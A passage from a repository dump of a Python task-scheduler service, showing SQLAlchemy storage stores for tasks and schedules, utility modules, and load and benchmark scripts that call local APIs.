return count\n\n    @retry()\n    @exception_handler\n    def get_items(self, scheduler_id: str, filters: FilterRequest | None) -> tuple[list[models.Task], int]:\n        with self.dbconn.session.begin() as session:\n            query = (\n                session.query(models.TaskDB)\n                .filter(models.TaskDB.status == models.TaskStatus.QUEUED)\n                .filter(models.TaskDB.scheduler_id == scheduler_id)\n            )\n\n            if filters is not None:\n                query = apply_filter(models.TaskDB, query, filters)\n\n            count = query.count()\n            items_orm = query.all()\n\n            return ([models.Task.model_validate(item_orm) for item_orm in items_orm], count)\n\n    @retry()\n    @exception_handler\n    def get_item_by_hash(self, scheduler_id: str, item_hash: str) -> models.Task | None:\n        with self.dbconn.session.begin() as session:\n            item_orm = (\n                session.query(models.TaskDB)\n                .filter(models.TaskDB.status == models.TaskStatus.QUEUED)\n                .order_by(models.TaskDB.created_at.desc())\n                .filter(models.TaskDB.scheduler_id == scheduler_id)\n                .filter(models.TaskDB.hash == item_hash)\n                .first()\n            )\n\n            if item_orm is None:\n                return None\n\n            return models.Task.model_validate(item_orm)\n\n    @retry()\n    @exception_handler\n    def get_items_by_scheduler_id(self, scheduler_id: str) -> list[models.Task]:\n        with self.dbconn.session.begin() as session:\n            items_orm = (\n                session.query(models.TaskDB)\n                .filter(models.TaskDB.status == models.TaskStatus.QUEUED)\n                .filter(models.TaskDB.scheduler_id == scheduler_id)\n                .all()\n            )\n\n            return [models.Task.model_validate(item_orm) for item_orm in items_orm]\n\n    @retry()\n    @exception_handler\n    def get_active_task_by_schedule(self, schedule_id: str) -> models.Task | None:\n        with self.dbconn.session.begin() as session:\n            item_orm = (\n                session.query(models.TaskDB)\n                .filter(models.TaskDB.schedule_id == schedule_id)\n                .filter(models.TaskDB.status.in_(models.ACTIVE_TASK_STATUSES))\n                .one_or_none()\n            )\n\n            if item_orm is None:\n                return None\n\n            return models.Task.model_validate(item_orm)\n\n    @retry()\n    @exception_handler\n    def clear(self, scheduler_id: str) -> None:\n        with self.dbconn.session.begin() as session:\n            (\n                session.query(models.TaskDB)\n                .filter(models.TaskDB.status == models.TaskStatus.QUEUED)\n                .filter(models.TaskDB.scheduler_id == scheduler_id)\n                .delete(),\n            )\n\n    @retry()\n    @exception_handler\n    def bulk_update_status(self, scheduler_id: str, item_ids: list[UUID], status: models.TaskStatus) -> None:\n        with self.dbconn.session.begin() as session:\n            (\n                session.query(models.TaskDB)\n                .filter(models.TaskDB.scheduler_id == scheduler_id)\n                .filter(models.TaskDB.id.in_([str(item_id) for item_id in item_ids]))\n                .update({\"status\": status.name}, synchronize_session=False),\n            )\n"
  },
  {
    "path": "mula/scheduler/storage/stores/schedule.py",
    "content": "from collections.abc import Iterable\nfrom datetime import datetime, timezone\n\nfrom sqlalchemy import exc, not_, select\n\nfrom scheduler import models\nfrom scheduler.storage import DBConn\nfrom scheduler.storage.errors import StorageError, exception_handler\nfrom scheduler.storage.filters import FilterRequest, apply_filter\nfrom scheduler.storage.utils import retry\n\n\nclass ScheduleStore:\n    name: str = \"schedule_store\"\n\n    def __init__(self, dbconn: DBConn) -> None:\n        self.dbconn = dbconn\n\n    @retry()\n    @exception_handler\n    def get_schedules(\n        self,\n        scheduler_id: str | None = None,\n        organisation: str | None = None,\n        schedule_hash: str | None = None,\n        enabled: bool | None = None,\n        min_deadline_at: datetime | None = None,\n        max_deadline_at: datetime | None = None,\n        min_created_at: datetime | None = None,\n        max_created_at: datetime | None = None,\n        offset: int = 0,\n        limit: int = 100,\n        filters: FilterRequest | None = None,\n    ) -> tuple[list[models.Schedule], int]:\n        with self.dbconn.session.begin() as session:\n            query = session.query(models.ScheduleDB)\n\n            if scheduler_id is not None:\n                query = query.filter(models.ScheduleDB.scheduler_id == scheduler_id)\n\n            if organisation is not None:\n                query = query.filter(models.ScheduleDB.organisation == organisation)\n\n            if enabled is not None:\n                query = query.filter(models.ScheduleDB.enabled == enabled)\n\n            if schedule_hash is not None:\n                query = query.filter(models.ScheduleDB.hash == schedule_hash)\n\n            if min_deadline_at is not None:\n                query = query.filter(models.ScheduleDB.deadline_at >= min_deadline_at)\n\n            if max_deadline_at is not None:\n                query = query.filter(models.ScheduleDB.deadline_at <= max_deadline_at)\n\n            if min_created_at is not None:\n                query = query.filter(models.ScheduleDB.created_at >= min_created_at)\n\n            if max_created_at is not None:\n                query = query.filter(models.ScheduleDB.created_at <= max_created_at)\n\n            if filters is not None:\n                query = apply_filter(models.ScheduleDB, query, filters)\n\n            try:\n                count = query.count()\n                schedules_orm = query.order_by(models.ScheduleDB.created_at.desc()).offset(offset).limit(limit).all()\n            except exc.ProgrammingError as e:\n                raise StorageError(f\"Invalid filter: {e}\") from e\n\n            schedules = [models.Schedule.model_validate(schedule_orm) for schedule_orm in schedules_orm]\n\n            return schedules, count\n\n    @retry()\n    @exception_handler\n    def get_schedule(self, schedule_id: str) -> models.Schedule | None:\n        with self.dbconn.session.begin() as session:\n            schedule_orm = session.query(models.ScheduleDB).filter(models.ScheduleDB.id == schedule_id).one_or_none()\n\n            if schedule_orm is None:\n                return None\n\n            return models.Schedule.model_validate(schedule_orm)\n\n    @retry()\n    @exception_handler\n    def get_due_schedules(\n        self,\n        *,\n        scheduler_id: str,\n        now: datetime | None = None,\n        active_statuses: Iterable[models.TaskStatus] | None = None,\n        limit: int | None = None,\n    ):\n        now = now or datetime.now(timezone.utc)\n        active_statuses = tuple(active_statuses or models.ACTIVE_TASK_STATUSES)\n\n        active_task_exists = (\n            select(models.TaskDB.id)\n            .where(models.TaskDB.schedule_id == models.ScheduleDB.id, models.TaskDB.status.in_(active_statuses))\n            .exists()\n        )\n\n        stmt = (\n            select(models.ScheduleDB)\n            .where(\n                models.ScheduleDB.scheduler_id == scheduler_id,\n                models.ScheduleDB.enabled.is_(True),\n                models.ScheduleDB.deadline_at.is_not(None),\n                models.ScheduleDB.deadline_at < now,\n                not_(active_task_exists),\n            )\n            .order_by(models.ScheduleDB.deadline_at.asc())\n        )\n\n        if limit:\n            stmt = stmt.limit(limit)\n        with self.dbconn.session.begin() as session:\n            schedules = session.scalars(stmt).all()\n            return [models.Schedule.model_validate(s) for s in schedules]\n\n    @retry()\n    @exception_handler\n    def get_schedule_by_hash(self, schedule_hash: str) -> models.Schedule | None:\n        with self.dbconn.session.begin() as session:\n            schedule_orm = (\n                session.query(models.ScheduleDB).filter(models.ScheduleDB.hash == schedule_hash).one_or_none()\n            )\n\n            if schedule_orm is None:\n                return None\n\n            return models.Schedule.model_validate(schedule_orm)\n\n    @retry()\n    @exception_handler\n    def create_schedule(self, schedule: models.Schedule) -> models.Schedule:\n        with self.dbconn.session.begin() as session:\n            schedule_orm = models.ScheduleDB(**schedule.model_dump())\n            session.add(schedule_orm)\n\n            created_schedule = models.Schedule.model_validate(schedule_orm)\n\n            return created_schedule\n\n    @retry()\n    @exception_handler\n    def update_schedule(self, schedule: models.Schedule) -> None:\n        with self.dbconn.session.begin() as session:\n            (\n                session.query(models.ScheduleDB)\n                .filter(models.ScheduleDB.id == schedule.id)\n                .update(schedule.model_dump(exclude={\"tasks\"}))\n            )\n\n    @retry()\n    @exception_handler\n    def delete_schedule(self, schedule_id: str) -> None:\n        with self.dbconn.session.begin() as session:\n            session.query(models.ScheduleDB).filter(models.ScheduleDB.id == schedule_id).delete()\n"
  },
  {
    "path": "mula/scheduler/storage/stores/task.py",
    "content": "from datetime import datetime, timedelta, timezone\n\nfrom sqlalchemy import desc, exc, func\n\nfrom scheduler import models\nfrom scheduler.storage import DBConn\nfrom scheduler.storage.errors import StorageError, exception_handler\nfrom scheduler.storage.filters import FilterRequest, apply_filter\nfrom scheduler.storage.utils import retry\n\n\nclass TaskStore:\n    name: str = \"task_store\"\n\n    def __init__(self, dbconn: DBConn) -> None:\n        self.dbconn = dbconn\n\n    @retry()\n    @exception_handler\n    def get_tasks(\n        self,\n        scheduler_id: str | None = None,\n        organisation: str | None = None,\n        task_type: str | None = None,\n        status: str | None = None,\n        min_created_at: datetime | None = None,\n        max_created_at: datetime | None = None,\n        filters: FilterRequest | None = None,\n        offset: int = 0,\n        limit: int = 100,\n    ) -> tuple[list[models.Task], int]:\n        with self.dbconn.session.begin() as session:\n            query = session.query(models.TaskDB)\n\n            if scheduler_id is not None:\n                query = query.filter(models.TaskDB.scheduler_id == scheduler_id)\n\n            if organisation is not None:\n                query = query.filter(models.TaskDB.organisation == organisation)\n\n            if task_type is not None:\n                query = query.filter(models.TaskDB.type == task_type)\n\n            if status is not None:\n                query = query.filter(models.TaskDB.status == models.TaskStatus(status).name)\n\n            if min_created_at is not None:\n                query = query.filter(models.TaskDB.created_at >= min_created_at)\n\n            if max_created_at is not None:\n                query = query.filter(models.TaskDB.created_at <= max_created_at)\n\n            if filters is not None:\n                query = apply_filter(models.TaskDB, query, filters)\n\n            try:\n                count = query.count()\n                tasks_orm = query.order_by(models.TaskDB.created_at.desc()).offset(offset).limit(limit).all()\n            except exc.ProgrammingError as e:\n                raise StorageError(f\"Invalid filter: {e}\") from e\n\n            tasks = [models.Task.model_validate(task_orm) for task_orm in tasks_orm]\n\n            return tasks, count\n\n    @retry()\n    @exception_handler\n    def get_task(self, task_id: str) -> models.Task | None:\n        with self.dbconn.session.begin() as session:\n            task_orm = session.query(models.TaskDB).filter(models.TaskDB.id == task_id).first()\n            if task_orm is None:\n                return None\n\n            task = models.Task.model_validate(task_orm)\n\n            return task\n\n    @retry()\n    @exception_handler\n    def get_tasks_by_hash(self, task_hash: str, limit: int | None = None) -> list[models.Task] | None:\n        with self.dbconn.session.begin() as session:\n            query = session.query(models.TaskDB).filter(models.TaskDB.hash == task_hash)\n\n            if limit is not None:\n                query = query.limit(limit)\n\n            tasks_orm = query.order_by(models.TaskDB.created_at.desc()).all()\n\n            if tasks_orm is None:\n                return None\n\n            tasks = [models.Task.model_validate(task_orm) for task_orm in tasks_orm]\n\n            return tasks\n\n    @retry()\n    @exception_handler\n    def get_latest_task_by_hash(self, task_hash: str) -> models.Task | None:\n        with self.dbconn.session.begin() as session:\n            task_orm = (\n                session.query(models.TaskDB)\n                .filter(models.TaskDB.hash == task_hash)\n                .order_by(models.TaskDB.created_at.desc())\n                .first()\n            )\n\n            if task_orm is None:\n                return None\n\n            task = models.Task.model_validate(task_orm)\n\n            return task\n\n    @retry()\n    @exception_handler\n    def create_task(self, task: models.Task) -> models.Task | None:\n        with self.dbconn.session.begin() as session:\n            task_orm = models.TaskDB(**task.model_dump())\n            session.add(task_orm)\n\n            created_task = models.Task.model_validate(task_orm)\n\n            return created_task\n\n    @retry()\n    @exception_handler\n    def update_task(self, task: models.Task) -> None:\n        with self.dbconn.session.begin() as session:\n            # NOTE: mode=\"json\" is used specifically to convert the Enum to as_string\n            # sqlalchemy does not allow raw enums to be used in update\n            (session.query(models.TaskDB).filter(models.TaskDB.id == task.id).update(task.model_dump(mode=\"json\")))\n\n    @retry()\n    @exception_handler\n    def cancel_tasks(self, scheduler_id: str, task_ids: list[str]) -> None:\n        with self.dbconn.session.begin() as session:\n            session.query(models.TaskDB).filter(\n                models.TaskDB.scheduler_id == scheduler_id, models.TaskDB.id.in_(task_ids)\n            ).update({\"status\": models.TaskStatus.CANCELLED.name})\n\n    @retry()\n    @exception_handler\n    def get_status_count_per_hour(\n        self, scheduler_id: str | None = None, organisation_id: str | None = None\n    ) -> dict[str, dict[str, int]] | None:\n        with self.dbconn.session.begin() as session:\n            query = (\n                session.query(\n                    func.DATE_TRUNC(\"hour\", models.TaskDB.modified_at).label(\"hour\"),\n                    models.TaskDB.status,\n                    func.count(models.TaskDB.id).label(\"count\"),\n                )\n                .filter(models.TaskDB.modified_at >= datetime.now(timezone.utc) - timedelta(hours=24))\n                .group_by(\"hour\", models.TaskDB.status)\n                .order_by(desc(\"hour\"), models.TaskDB.status)\n            )\n\n            if scheduler_id is not None:\n                query = query.filter(models.TaskDB.scheduler_id == scheduler_id)\n\n            if organisation_id is not None:\n                query = query.filter(models.TaskDB.organisation == organisation_id)\n\n            results = query.all()\n\n            # We rely on the dict insertion order\n            response: dict[str, dict[str, int]] = {}\n            for row in results:\n                date, status, task_count = row\n                response.setdefault(date.isoformat(), {k.value: 0 for k in models.TaskStatus}).update(\n                    {status.value: task_count}\n                )\n                response[date.isoformat()].update({\"total\": response[date.isoformat()].get(\"total\", 0) + task_count})\n\n            return response\n\n    @retry()\n    @exception_handler\n    def get_status_counts(\n        self, scheduler_id: str | None = None, organisation_id: str | None = None\n    ) -> dict[str, int] | None:\n        with self.dbconn.session.begin() as session:\n            query = (\n                session.query(models.TaskDB.status, func.count(models.TaskDB.id).label(\"count\"))\n                .group_by(models.TaskDB.status)\n                .order_by(models.TaskDB.status)\n            )\n\n            if scheduler_id is not None:\n                query = query.filter(models.TaskDB.scheduler_id == scheduler_id)\n\n            if organisation_id is not None:\n                query = query.filter(models.TaskDB.organisation == organisation_id)\n\n            results = query.all()\n\n            response = {k.value: 0 for k in models.TaskStatus}\n            for row in results:\n                status, task_count = row\n                response[status.value] = task_count\n\n            return response\n"
  },
  {
    "path": "mula/scheduler/storage/utils.py",
    "content": "import time\nfrom functools import wraps\n\nimport sqlalchemy\nimport structlog\n\nfrom scheduler.storage.errors import StorageError\n\nlogger = structlog.getLogger(__name__)\n\n\ndef retry(max_retries: int = 3, retry_delay: float = 5.0):\n    def decorator(func):\n        @wraps(func)\n        def wrapper(*args, **kwargs):\n            for i in range(max_retries):\n                try:\n                    return func(*args, **kwargs)\n                except (StorageError, sqlalchemy.exc.OperationalError, sqlalchemy.exc.InternalError) as e:\n                    if i == max_retries - 1:\n                        raise e\n\n                    logger.warning(\n                        \"Retrying %s.%s in %f seconds (%f): %s\",\n                        func.__module__,\n                        func.__name__,\n                        retry_delay,\n                        i + 1 / max_retries,\n                        e,\n                    )\n                    time.sleep(retry_delay)\n\n        return wrapper\n\n    return decorator\n"
  },
  {
    "path": "mula/scheduler/utils/__init__.py",
    "content": "from .datastore import GUID\nfrom .dict_utils import ExpiredError, ExpiringDict, deep_get\nfrom .functions import remove_trailing_slash\nfrom .thread import ThreadRunner\n\n__all__ = [\"GUID\", \"ExpiredError\", \"ExpiringDict\", \"deep_get\", \"remove_trailing_slash\", \"ThreadRunner\"]\n"
  },
  {
    "path": "mula/scheduler/utils/cron.py",
    "content": "from datetime import datetime, timezone\n\nfrom croniter import croniter\n\n\ndef next_run(expression: str, start_time: datetime | None = None) -> datetime:\n    if start_time is None:\n        start_time = datetime.now(timezone.utc)\n\n    cron = croniter(expression, start_time)\n    return cron.get_next(datetime)\n"
  },
  {
    "path": "mula/scheduler/utils/datastore.py",
    "content": "import uuid\n\nfrom sqlalchemy.dialects.postgresql import UUID\nfrom sqlalchemy.types import CHAR, TypeDecorator\n\n\nclass GUID(TypeDecorator):\n    \"\"\"Platform-independent GUID type.\n\n    Uses PostgreSQL's UUID type, otherwise uses\n    CHAR(32), storing as stringified hex values.\n\n    Source(s):\n        - https://docs.sqlalchemy.org/en/13/core/custom_types.html#backend-agnostic-guid-type\n        - https://github.com/yuval9313/fastapi-restful/blob/master/fastapi_restful/guid_type.py\n    \"\"\"\n\n    impl = CHAR\n    cache_ok = True\n\n    def load_dialect_impl(self, dialect):\n        if dialect.name == \"postgresql\":\n            return dialect.type_descriptor(UUID())\n\n        return dialect.type_descriptor(CHAR(32))\n\n    def process_bind_param(self, value, dialect):\n        if value is None:\n            return value\n\n        if dialect.name == \"postgresql\":\n            return str(value)\n\n        if not isinstance(value, uuid.UUID):\n            return f\"{uuid.UUID(value).int:032x}\"\n\n        return f\"{value.int:032x}\"\n\n    def process_result_value(self, value, dialect):\n        if value is None:\n            return value\n\n        if not isinstance(value, uuid.UUID):\n            value = uuid.UUID(value)\n\n        return value\n"
  },
  {
    "path": "mula/scheduler/utils/dict_utils.py",
    "content": "import threading\nfrom collections.abc import Iterator\nfrom datetime import datetime, timedelta, timezone\nfrom typing import Any\n\n\ndef deep_get(d: Any | None, keys: list[str]) -> Any:\n    if not keys or d is None:\n        return d\n    return deep_get(d.get(keys[0]), keys[1:])\n\n\nclass ExpiredError(Exception):\n    pass\n\n\nclass ExpiringDict:\n    \"\"\"ExpiringDict enables us to create a Dict that expires after a certain\n    time. It will clear the cache when the expiration time is reached and\n    return an ExpiredError.\n    \"\"\"\n\n    def __init__(self, lifetime: int = 300, start_time: datetime = datetime.now(timezone.utc)) -> None:\n        self.lifetime: timedelta = timedelta(seconds=lifetime)\n        self.start_time = start_time\n        self.expiration_time: datetime = start_time + self.lifetime\n        self.lock: threading.Lock = threading.Lock()\n        self.cache: dict[str, Any] = {}\n        self._expiration_enabled: bool = True\n\n    def get(self, key: str, default: Any | None = None) -> Any:\n        try:\n            return self.__getitem__(key)\n        except KeyError:\n            return default\n\n    def is_empty(self) -> bool:\n        with self.lock:\n            return len(self.cache) == 0\n\n    def reset(self) -> None:\n        with self.lock:\n            self.cache.clear()\n            self.expiration_time = datetime.now(timezone.utc) + self.lifetime\n\n    @property\n    def expiration_enabled(self) -> bool:\n        \"\"\"Whether expiration is enabled or not.\"\"\"\n        return self._expiration_enabled\n\n    @expiration_enabled.setter\n    def expiration_enabled(self, value: bool) -> None:\n        \"\"\"Enable or disable expiration. If disabled, the cache will never\n        expire.\n\n        Args:\n            value (bool): Whether to enable or disable expiration.\n        \"\"\"\n        with self.lock:\n            self._expiration_enabled = value\n\n            # If we are enabling expiration, we need to reset the expiration\n            if value is True:\n                self.expiration_time = datetime.now(timezone.utc) + self.lifetime\n\n    def _is_expired(self) -> bool:\n        return datetime.now(timezone.utc) > self.expiration_time\n\n    def __getitem__(self, key: str) -> Any:\n        with self.lock:\n            if self._is_expired() and self.expiration_enabled:\n                # Using this instead of reset(), else we would lock\n                self.cache.clear()\n                self.expiration_time = datetime.now(timezone.utc) + self.lifetime\n\n                raise ExpiredError\n\n            if key not in self.cache:\n                raise KeyError(key)\n\n            return self.cache[key]\n\n    def __setitem__(self, key: str, value: Any) -> None:\n        with self.lock:\n            self.cache[key] = value\n\n    def __delitem__(self, key: str) -> None:\n        with self.lock:\n            del self.cache[key]\n\n    def __contains__(self, key: str) -> bool:\n        with self.lock:\n            return key in self.cache\n\n    def __len__(self) -> int:\n        with self.lock:\n            return len(self.cache)\n\n    def __iter__(self) -> Iterator[str]:\n        with self.lock:\n            return iter(self.cache)\n\n    def setdefault(self, key: str, default: Any) -> Any:\n        with self.lock:\n            return self.cache.setdefault(key, default)\n"
  },
  {
    "path": "mula/scheduler/utils/errors.py",
    "content": "import functools\n\nimport pydantic\n\n\nclass ValidationError(Exception):\n    pass\n\n\ndef validation_handler(func):\n    @functools.wraps(func)\n    def inner_function(*args, **kwargs):\n        try:\n            return func(*args, **kwargs)\n        except pydantic.error_wrappers.ValidationError as exc:\n            raise ValidationError(\"Not able to parse response from external service.\") from exc\n\n    return inner_function\n"
  },
  {
    "path": "mula/scheduler/utils/functions.py",
    "content": "def remove_trailing_slash(url: str) -> str:\n    \"\"\"Remove trailing slash from url.\"\"\"\n    if url.endswith(\"/\"):\n        return url[:-1]\n    return url\n"
  },
  {
    "path": "mula/scheduler/utils/thread.py",
    "content": "import threading\nfrom collections.abc import Callable\nfrom typing import Any\n\nimport structlog\n\n\nclass ThreadRunner(threading.Thread):\n    \"\"\"ThreadRunner extends threading.Thread to allow for graceful shutdown\n    using event signalling. Additionally to the standard threading.Thread\n    attributes we use the following attributes.\n\n    Attributes:\n        logger:\n            The logger for the class.\n        stop_event:\n            A threading.Event object used for signalling thread stop events.\n        interval:\n            A float describing the time between loop iterations.\n        exception:\n            A python Exception that can be set in order to signify that\n            an exception has occurred during the execution of the thread.\n        _target:\n            A callable that is executed when the thread is started.\n        loop:\n            A boolean describing whether the thread should run in a loop.\n    \"\"\"\n\n    def __init__(\n        self,\n        name: str,\n        target: Callable[[], Any],\n        stop_event: threading.Event,\n        callback: Callable[[], Any] | None = None,\n        callback_args: tuple | None = None,\n        interval: float | None = None,\n        daemon: bool = False,\n        loop: bool = True,\n    ) -> None:\n        \"\"\"Initialize the ThreadRunner\n\n        Args:\n            name: A string describing the name of the thread.\n            target: A callable that is executed when the thread is started.\n            stop_event: A threading.Event object used for signalling thread\n            interval: A float describing the time between loop iterations.\n            daemon: A boolean describing whether the thread should be a daemon\n            loop: A boolean describing whether the thread should run in a loop.\n        \"\"\"\n        self.logger: structlog.BoundLogger = structlog.getLogger(__name__)\n        self._target: Callable[[], Any] = target\n        self.stop_event: threading.Event = stop_event\n        self.interval: float | None = interval\n        self.loop: bool = loop\n        self.exception: Exception | None = None\n        self.callback: Callable[[], Any] | None = callback\n        self.callback_args: tuple | None = callback_args\n\n        super().__init__(target=self._target, daemon=daemon)\n\n        self.name = name if name else self.name\n\n    def run_forever(self) -> None:\n        \"\"\"Run the target function in a loop until the stop event is set.\"\"\"\n        while not self.stop_event.is_set():\n            try:\n                self._target()\n                self.stop_event.wait(self.interval)\n            except Exception as exc:\n                self.exception = exc\n                self.logger.exception(\"Exception in thread: %s\", self.name, exc_info=exc)\n                self.stop_event.set()\n                raise exc\n\n        if self.callback:\n            self.callback(*self.callback_args)\n\n    def run_once(self) -> None:\n        \"\"\"Run the target function once.\"\"\"\n        try:\n            self._target()\n        except Exception as exc:\n            self.exception = exc\n            self.logger.exception(\"Exception in thread: %s\", self.name, exc_info=exc)\n            self.stop_event.set()\n            raise exc\n\n        if self.callback:\n            self.callback(*self.callback_args)\n\n    def run(self) -> None:\n        self.logger.debug(\"Starting thread: %s\", self.name, thread_name=self.name)\n        if self.loop:\n            self.run_forever()\n        else:\n            self.run_once()\n\n        self.logger.debug(\"Thread stopped: %s\", self.name)\n\n    def join(self, timeout: float | None = None) -> None:\n        self.logger.debug(\"Stopping thread: %s\", self.name, thread_name=self.name)\n\n        self.stop_event.set()\n        super().join(timeout)\n\n        self.logger.debug(\"Thread stopped: %s\", self.name, thread_name=self.name)\n\n    def stop(self) -> None:\n        self.stop_event.set()\n"
  },
  {
    "path": "mula/scheduler/version.py",
    "content": "from importlib.metadata import PackageNotFoundError, version\n\ntry:\n    __version__ = version(\"scheduler\")\nexcept PackageNotFoundError:\n    # package is not installed\n    __version__ = \"0.0.1.dev1\"\n"
  },
  {
    "path": "mula/scripts/.gitignore",
    "content": "data.csv\nlogs.txt\n"
  },
  {
    "path": "mula/scripts/Dockerfile",
    "content": "FROM python:3.13-slim\n\nWORKDIR /usr/src/app\n\nRUN pip install --no-cache-dir httpx\n\nCOPY . .\n\nENTRYPOINT [\"python\"]\n"
  },
  {
    "path": "mula/scripts/README.md",
    "content": "# Scripts\n\nA collection of scripts that is used for various testing and benchmarking\npurposes.\n\n## `load.py`\n\nAllows to create multiple organisations and with a supplied `data.csv` file\ncreate objects on which a select number of boefjes will be performed upon.\n\n```shell\ndocker build -t mula_scripts .\ndocker run -it --rm --network=host mula_scripts load.py \\\n    --orgs {number-of-orgs} \\\n    --oois {number-of-oois} \\\n    --boefjes {comma-separated-list-of-boefjes}\n```\n\n## `benchmark.py`\n\nAllows to benchmark the operations of the Scheduler. When running the `load.py`\nthe benchmark script can run along side it to measure the performance of the\nScheduler.\n\nIt will check:\n\n- Errors in the logs\n- Task stats (how many are queued, running, etc.)\n- CPU and memory usage\n\n```shell\ndocker build -t mula_scripts .\ndocker run -it --rm --network=host mula_scripts benchmark.py --container {container-id-of-scheduler}\n```\n"
  },
  {
    "path": "mula/scripts/__init__.py",
    "content": ""
  },
  {
    "path": "mula/scripts/benchmark.py",
    "content": "import argparse\nimport logging\nimport subprocess\nimport threading\nimport time\nfrom pathlib import Path\n\nimport httpx\n\nSCHEDULER_API = \"http://localhost:8004\"\nTIMEOUT_FOR_LOG_CAPTURE = 5\n\nlogger = logging.getLogger(__name__)\nlogging.basicConfig(level=logging.INFO)\n\nclient = httpx.Client(base_url=SCHEDULER_API)\n\n\ndef are_tasks_done() -> bool:\n    response = client.get(url=\"/tasks/stats\", timeout=30)\n\n    try:\n        response.raise_for_status()\n    except httpx.HTTPError:\n        logger.error(\"Error getting tasks\")\n        raise\n\n    tasks_stats = response.json()\n\n    return all(tasks_stats[hour].get(\"queued\") <= 0 for hour in tasks_stats)\n\n\ndef parse_stats() -> None:\n    resp_tasks_stats = client.get(url=\"/tasks/stats\", timeout=30)\n\n    try:\n        resp_tasks_stats.raise_for_status()\n    except httpx.HTTPError:\n        logger.error(\"Error getting tasks\")\n        raise\n\n    tasks_stats = resp_tasks_stats.json()\n    for hour in tasks_stats:\n        queued = tasks_stats[hour].get(\"queued\")\n        running = tasks_stats[hour].get(\"running\")\n        failed = tasks_stats[hour].get(\"failed\")\n        completed = tasks_stats[hour].get(\"completed\")\n\n        logger.info(\"HOUR %s, QUEUED %s, RUNNING %s, FAILED %s, COMPLETED %s\", hour, queued, running, failed, completed)\n\n\ndef capture_logs(container_id: str, output_file: str) -> None:\n    # Capture logs\n    with Path.open(output_file, \"w\", encoding=\"utf-8\") as file:\n        subprocess.run([\"docker\", \"logs\", container_id], stdout=file, stderr=file, check=True)\n\n\ndef parse_logs(path: str) -> None:\n    # Check if there were any errors in the logs\n    count = 0\n    with Path.open(path, encoding=\"utf-8\") as file:\n        for line in file:\n            if line.startswith(\"ERROR\") or line.startswith(\"Traceback\"):\n                count += 1\n                logger.info(line)\n\n    if count > 0:\n        logger.error(\"Found %d errors in the logs\", count)\n\n\ndef collect_cpu(container_id: str) -> str:\n    return (\n        subprocess.run(\n            [\"docker\", \"stats\", \"--no-stream\", \"--format\", \"{{.CPUPerc}}\", container_id],\n            capture_output=True,\n            check=True,\n        )\n        .stdout.decode(\"utf-8\")\n        .strip(\"%\\n\")\n    )\n\n\ndef collect_memory(container_id: str) -> str:\n    return (\n        subprocess.run(\n            [\"docker\", \"stats\", \"--no-stream\", \"--format\", \"{{.MemUsage}}\", container_id],\n            capture_output=True,\n            check=True,\n        )\n        .stdout.decode(\"utf-8\")\n        .split(\"/\")[0]\n        .strip(\"MiB\\n\")\n    )\n\n\ndef run(container_id: str) -> None:\n    # Start capturing logs\n    if container_id is not None:\n        thread = threading.Thread(target=capture_logs, args=(container_id, \"logs.txt\"))\n        thread.start()\n\n    # Wait for tasks to finish\n    while not are_tasks_done():\n        logger.debug(\"Tasks are not done yet\")\n\n        cpu = collect_cpu(container_id)\n        memory = collect_memory(container_id)\n        logger.info(\"CPU %s, MEMORY %s\", cpu, memory)\n\n        # Parse stats\n        parse_stats()\n\n        time.sleep(10)\n        continue\n\n    logger.debug(\"Tasks are done\")\n\n    # Stop capturing logs\n    thread.join(timeout=TIMEOUT_FOR_LOG_CAPTURE)\n\n    # Parse stats\n    parse_stats()\n\n    # Parse logs\n    parse_logs(\"logs.txt\")\n\n\nif __name__ == \"__main__\":\n    # Setup command line interface\n    parser = argparse.ArgumentParser(description=\"Benchmark the scheduler.\")\n\n    # Add arguments\n    parser.add_argument(\"--verbose\", \"-v\", action=\"store_true\", help=\"Set to enable verbose logging.\")\n\n    parser.add_argument(\n        \"--container-id\", \"-c\", type=str, required=False, help=\"The container id of the process to monitor.\"\n    )\n\n    # Parse arguments\n    args = parser.parse_args()\n\n    # Configure logging level, if the -v (verbose) flag was given this will\n    # set the log-level to DEBUG (printing all debug messages and higher),\n    # if -v was not given it defaults to printing level warning and higher.\n    level = logging.INFO\n    if args.verbose:\n        level = logging.DEBUG\n\n    logging.basicConfig(level=level, format=\"%(asctime)s %(name)-10s %(levelname)-8s %(message)s\")\n\n    run(args.container_id)\n"
  },
  {
    "path": "mula/scripts/data.csv.example",
    "content": "name\nmispo.es\n"
  },
  {
    "path": "mula/scripts/load.py",
    "content": "import argparse\nimport csv\nimport logging\nimport uuid\nfrom datetime import datetime, timezone\nfrom pathlib import Path\nfrom typing import Any\n\nimport httpx\n\nOCTOPOES_API = \"http://localhost:8001\"\nKATALOGUS_API = \"http://localhost:8003\"\nSCHEDULER_API = \"http://localhost:8004\"\n\nlogger = logging.getLogger(__name__)\nlogging.basicConfig(level=logging.INFO)\n\noctopoes_client = httpx.Client(base_url=OCTOPOES_API)\nkatalogus_client = httpx.Client(base_url=KATALOGUS_API)\nscheduler_client = httpx.Client(base_url=SCHEDULER_API)\n\n\ndef create_organisations(org_num: int = 1) -> list[dict[str, Any]]:\n    orgs: list[dict[str, Any]] = []\n    for n in range(0, org_num):\n        org = {\"id\": f\"org-{n}\", \"name\": f\"Organisation {n}\"}\n        orgs.append(org)\n\n        resp_katalogus = katalogus_client.post(url=\"/v1/organisations/\", json=org, timeout=30)\n\n        try:\n            resp_katalogus.raise_for_status()\n        except httpx.HTTPStatusError:\n            if resp_katalogus.status_code != httpx.codes.NOT_FOUND:\n                logger.info(\"Error creating organisation in katalogus %s\", org)\n\n            if resp_katalogus.status_code == httpx.codes.NOT_FOUND:\n                logger.info(\"Organisation already exists in katalogus %s\", org)\n\n        resp_octo = octopoes_client.post(url=f\"/{org.get('id')}/node\", timeout=30)\n\n        try:\n            resp_octo.raise_for_status()\n        except httpx.HTTPStatusError:\n            if resp_octo.status_code != httpx.codes.NOT_FOUND:\n                logger.info(\"Error creating organisation in octopoes %s\", org)\n\n            if resp_octo.status_code == httpx.codes.NOT_FOUND:\n                logger.info(\"Organisation already exists in octopoes %s\", org)\n\n            logger.info(resp_octo.content)\n\n        logger.info(\"Created organisation %s\", org)\n\n    return orgs\n\n\ndef create_oois(orgs: list[dict[str, Any]], ooi_num: int = 10) -> None:\n    declarations: list[dict[str, Any]] = []\n    # Check if data file exists\n    if not Path(\"data.csv\").exists():\n        logger.info(\"data.csv file not found\")\n        return\n\n    with Path(\"data.csv\").open(newline=\"\", encoding=\"utf-8\") as csv_file:\n        csv_reader = csv.DictReader(csv_file, delimiter=\",\", quotechar='\"')\n        for row in csv_reader:\n            name = row[\"name\"]\n            declaration = {\n                \"ooi\": {\n                    